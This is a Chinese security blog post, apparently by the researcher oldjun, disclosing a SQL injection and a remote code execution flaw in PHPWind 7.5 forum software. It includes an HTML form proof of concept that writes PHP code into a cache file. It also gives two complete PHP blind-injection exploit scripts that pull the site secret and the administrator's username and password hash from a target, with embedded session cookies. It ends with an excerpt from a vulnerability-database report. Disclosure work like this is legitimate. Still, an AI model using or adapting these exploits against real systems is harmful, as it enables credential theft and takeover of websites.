都是去年的东西了，拖啊拖，拖到今天9月份了，http://www.oldjun.com/blog/index.php/archives/68/文章底下我留了个铺垫...本来准备跟黑哥来个SOPW的专辑的...不过还没等我发，80sec的同学已经发出来了...那就算了，直接把注入以及利用写点blog吧...
想说的几点：
1.pw虽然过滤的很BT，但注入不止这一个点；
2.利用注入获取系统关键的db_siteownerid后，拿shell可以获得很大的帮助，包括这个代码执行，以及下面我要公布的上传；
3.去年我看原始的pw7.5的时候，也就是saiy没发布那个包含漏洞http://www.80vul.com/pwvul/phpwind.txt的时候，都不需要db_siteownerid，也就是直接的代码执行。（于是显然...saiy牛也应该很早就发现这个漏洞了...）
好了，先说注入，很明显很白痴的一个点，其实比代码执行好看多了，估计很多人就知道了，而且在很多版本中存在，如果不是过滤的严格一点，在pw7.5的sp3版本里可以update任意表的。
看代码：
...
} elseif ($action == 'pcdelimg') {
InitGP(array('fieldname','pctype'));
InitGP(array('tid','id'),2);
if (!$tid || !$id || !$fieldname || !$pctype) {
echo 'fail';
}
$id = (int)$id;
if ($pctype == 'topic') {
$tablename = GetTopcitable($id);
} elseif ($pctype == 'postcate') {
$tablename = GetPcatetable($id);
}
$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));
if (strpos($path,'..') !== false) {
return false;
}
$lastpos = strrpos($path,'/') + 1;
$s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);
if (!file_exists("$attachpath/$path")) {
if (pwFtpNew($ftp,$db_ifftp)) {
$ftp->delete($path);
$ftp->delete($s_path);
pwFtpClose($ftp);
}
} else {
P_unlink("$attachdir/$path");
if (file_exists("$attachdir/$s_path")) {
P_unlink("$attachdir/$s_path");
}
}
$db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));
echo 'success';
ajax_footer();
}
...
就是直接带进来，急死人（阿里的孩子）啦...我当年也针对db_siteownerid与管理员用户密码分别写了exp，不过注入的方法跟乌云里不一样。
下面说远程代码执行，pw整体写缓存，一个函数pw_var_export打遍天下，让你几乎无可趁之机，不过uc的应用里写缓存的时候，对于key有点没当回事，于是$class[cid]被直接带进去了：
...
function threadscateGory($classdb) {//生成帖子交换分类
$classcache = "<?phprn$info_class=array(rn";
foreach ($classdb as $key => $class) {
!$class['ifshow'] && $class['ifshow'] = '0';
$flag && $info_class[$class['cid']]['ifshow'] && $class['ifshow'] = '1';
$class['name'] = str_replace(array('"',"'"),array(""","'"),$class['name']);
$classcache .= "'$class[cid]'=>".pw_var_export($class).",\r\n\r\n";
}
$classcache .= ");\r\n?>";
writeover(D_P."data/bbscache/info_class.php",$classcache);
}
...
于是，直接写可执行脚本进缓存，生成shell在data/bbscache/info_class.php！没什么悬念了！
贴个当年不需要db_siteid时候的poc：
<form method="post" action="http://127.0.0.1/phpwind/pw_api.php" enctype="multipart/form-data">
text:<input type="text" name="type" value="uc" size="80" /><br>
text:<input type="text" name="mode" value="Other" size="80" /><br>
text:<input type="text" name="method" value="threadscateGory" size="80" /><br>
text:<textarea name="params">a:1:{s:4:"cid'";a:1:{s:4:"cid'";a:1:{s:3:"cid";s:16:"1');phpinfo();/*";}}}</textarea><br>
text:<input type="text" name="sig" value="7a7f6173632485b4c3e6d3671da683a3" size="80" /><br>
<input type="submit" name="submit" value="提交" class="submit" /></td>
</form>
贴几个注入的exp，一个是获取db_siteid的，一个获取管理员用户名密码的，由于需要登录，没写成自动获取cookie的，需要大家自行修改cookie与user_agent！
获取db_siteid：
<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5 "ajax" SQL injection/db_siteid credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost /
--------------------------------------------------------------------------------
');
die;
}
function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix="pw_";
//modify cookie and agent
$cookie="ac5bf_c_stamp=1262249995; ac5bf_lastpos=index; ac5bf_winduser=BlECAj4BBQYLCgUAVAMBVAUDAgVUBQMFD1YHWVRdU1ZUVwZXAm8%3D; ac5bf_ck_info=%2F%09; ac5bf_lastvisit=0%091262249995%09%2Findex.php%3Fu%3D2418; ac5bf_olid=12331; ac5bf_ipstate=1262249995; lstat_bc_1321047=25108016803970909784; lstat_ss_1321047=1_1262278680_3261065129";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}
/*get $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}
/*get db_siteid*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$db_siteid="";$str="";$sql="";
while (strlen($db_siteid)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=db_name/**/from/**/".$prefix."config/**/where/**/db_name/**/like/**/0x64625F736974656964/**/and/**/db_value/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$db_siteid.=hex2asc($i);
echo"[+]pwd:".$db_siteid."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
print_r('
--------------------------------------------------------------------------------
[+]db_siteid -> '.$db_siteid.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($db_siteid)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
function hex2asc($str) {
$str = join('',explode('\x',$str));
$len = strlen($str);
for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function asc2hex($str){
$hex=base_convert($str,10,16);
return strlen($hex)==2?$hex:"0".$hex;
}
?>
获取管理员用户名密码：
<?
print_r('
--------------------------------------------------------------------------------
PHPWind v7.5 "ajax" SQL injection/admin credentials disclosure exploit
BY oldjun(www.oldjun.com)
--------------------------------------------------------------------------------
');
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpwind
Example:
php '.$argv[0].' localhost / 1
--------------------------------------------------------------------------------
');
die;
}
function getrand($i)
{
for($j=0;$j<=$i-1;$j++)
{
srand((double)microtime()*1000000);
$randname=rand(!$j ? 1: 0,9);
$randnum.=$randname;
}
return $randnum;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$uid=$argv[3];
$prefix="pw_";
//modify cookie and agent
$cookie="admin_att=att; tl0_sid=8A7JT5; 744aa_lastpos=other; 744aa_ol_offset=97; 744aa_ipstate=1262920914; 744aa_threadlog=%2C2%2C; 744aa_readlog=%2C91%2C96%2C; 744aa_AdminUser=CQMOUV1WA1EBBD1ZAQwIXW8BCFMNUVIGBQQDUQUJVgRZBQIHWlIPAVEHUlUBUQBeUWg%3D; 744aa_admin_att=watermark; 744aa_jobpop=0; 744aa_winduser=CTgMBgBRVlEAAwcNVgcFAQQKWgEMBwAFBQdSAgVZA1dTAG8%3D; 744aa_ck_info=%2F%09";
$useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;oldjun; .NET CLR 2.0.50727)";
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/'))
{echo 'Error... check the path!'; die;}
/*get $prefix*/
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&pctype=topic&id=1 HTTP/1.0\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("FROM ",$html);
if(isset($temp[1])){$temp2=explode("topicvalue1",$temp[1]);}
if($temp2[0])
$prefix=$temp2[0];
echo "[+]prefix -> ".$prefix."\n";
echo "[~]exploting now,plz waiting\r\n";
}else{
die("Wrong path or not Login!!!\r\n".$html);
}
/*get password*/
$chars[0]=0;//null
$chars=array_merge($chars,range(30,39)); //hex-numbers
$chars=array_merge($chars,range(61,66));//hex- a-f letters
$password="";$str="";$sql="";
while (strlen($password)<32)
{
for ($i=30; $i<=66; $i++)
{
if (in_array($i,$chars))
{
$sql="0x".$str.$i."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/password/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
//die($html);
if (!eregi("fail",$html))
{
$str=$str.$i;
$password.=hex2asc($i);
echo"[+]pwd:".$password."\r\n";break;}
}
if ($i==66) {die("Exploit failed...");}
}
}
/*get username*/
$j=0;$username="";$str="";$sql="";
while (!strstr($username,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$j=asc2hex($i);
if($j!=25){
$sql="0x".$str.$j."25";
$packet ="GET ".$path."pw_ajax.php?action=pcdelimg&fieldname=username/**/from/**/".$prefix."members/**/where/**/uid/**/like/**/".$uid."/**/and/**/username/**/like/**/".$sql."/**/union/**/select/**/0x312E2E31%23&id=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: ".$useragent."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!eregi("fail",$html))
{
$str=$str.$j;
$username.=strtolower(hex2asc($j));
echo"[+]username:".$username."\r\n";break;}
}
if ($i==255) {echo "Finished...\r\n";$over=1;}
}
if($over==1){break;}
}
print_r('
--------------------------------------------------------------------------------
[+]username -> '.$username.'
[+]password(md5 32λ) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
function hex2asc($str) {
$str = join('',explode('\x',$str));
$len = strlen($str);
for ($i=0;$i<$len;$i+=2) $data.=chr(hexdec(substr($str,$i,2)));
return $data;
}
function asc2hex($str){
$hex=base_convert($str,10,16);
return strlen($hex)==2?$hex:"0".$hex;
}
?>
---------------------------------------分割线------------------------------------------
早上回公司早以前的exp，看到以前一份文档，才想起来，注入漏洞已经于2010年1月18日提交国家漏洞库，下面是当时的标准文档的部分内容：
一、漏洞介绍
1．漏洞介绍
PHPWind 7.5版本中的pw_ajax.php文件中当action为pcdelimg时，$fieldname未进行有效过滤，可以任意构造数据进行提交，从而造成SQL注入漏洞。
2．漏洞危害(危害等级高)
PHPWind 7.5版本，可以通过注入获取管理员用户名以及密码，从而获取网站的控制权。
二、漏洞细节
1、 Pw_ajax.php文件：
//漏洞出现下$action 为pcdelimg的时候，某些用户提交的变量，程序没有进行充分过滤，而直接带入查询，导致SQL注入。
elseif ($action == 'pcdelimg') {
InitGP(array('fieldname','pctype'));//获取提交的fieldname值
InitGP(array('tid','id'),2);
if (!$tid || !$id || !$fieldname || !$pctype) {
echo 'fail';
}
$id = (int)$id;
if ($pctype == 'topic') {
$tablename = GetTopcitable($id);
} elseif ($pctype == 'postcate') {
$tablename = GetPcatetable($id);
}
$path = $db->get_value("SELECT $fieldname FROM $tablename WHERE tid=". pwEscape($tid));//直接带入数据库查询
if (strpos($path,'..') !== false) {
return false;
}
$lastpos = strrpos($path,'/') + 1;
$s_path = substr($path, 0, $lastpos) . 's_' . substr($path, $lastpos);
if (!file_exists("$attachpath/$path")) {
if (pwFtpNew($ftp,$db_ifftp)) {
$ftp->delete($path);
$ftp->delete($s_path);
pwFtpClose($ftp);
}
} else {
P_unlink("$attachdir/$path");
if (file_exists("$attachdir/$s_path")) {
P_unlink("$attachdir/$s_path");
}
}
$db->update("UPDATE $tablename SET $fieldname='' WHERE tid=". pwEscape($tid));
echo 'success';
ajax_footer();
}
2、 虽然程序有过滤，但是还是可以通过盲注绕过：
//首先看看require文件夹下的common.php文件，提交的变量通过InitGP函数获得，从函数可以看到InitGP获取的是GET或者POST提交的内容。
function InitGP($keys,$method=null,$cvtype=1){//0=null,1=Char_cv,2=int
//Copyright (c) 2003-09 PHPWind
!is_array($keys) && $keys = array($keys);
foreach ($keys as $key) {
if ($key == 'GLOBALS') continue;
$GLOBALS[$key] = NULL;
if ($method != 'P' && isset($_GET[$key])) {
$GLOBALS[$key] = $_GET[$key];
} elseif ($method != 'G' && isset($_POST[$key])) {
$GLOBALS[$key] = $_POST[$key];
}
if (isset($GLOBALS[$key]) && !empty($cvtype) || $cvtype==2) {
$GLOBALS[$key] = Char_cv($GLOBALS[$key],$cvtype==2,true);
}
}
}
//再看看根目录下的global.php文件，里面使用Checkvar函数对用户提交的GET与POST变量进行了处理。
foreach ($_POST as $_key => $_value) {
if (!in_array($_key,array('atc_content','atc_title','prosign','pwuser','pwpwd'))) {
CheckVar($_POST[$_key]);
}
}
foreach ($_GET as $_key => $_value) {
CheckVar($_GET[$_key]);
}
//最后再看看require下common.php里的CheckVar函数，可以看到只是处理了一部分符号。
function CheckVar(&$var) {
if (is_array($var)) {
foreach ($var as $key => $value) {
CheckVar($var[$key]);
}
} elseif (P_W != 'admincp') {
$var = str_replace(array('..',')','<','='),array('..',')','<','='),$var);
} elseif (str_replace(array('<iframe','<meta','<script'),'',$var)!=$var) {
global $basename;
$basename = 'javascript:history.go(-1);';
adminmsg('word_error');
}
}
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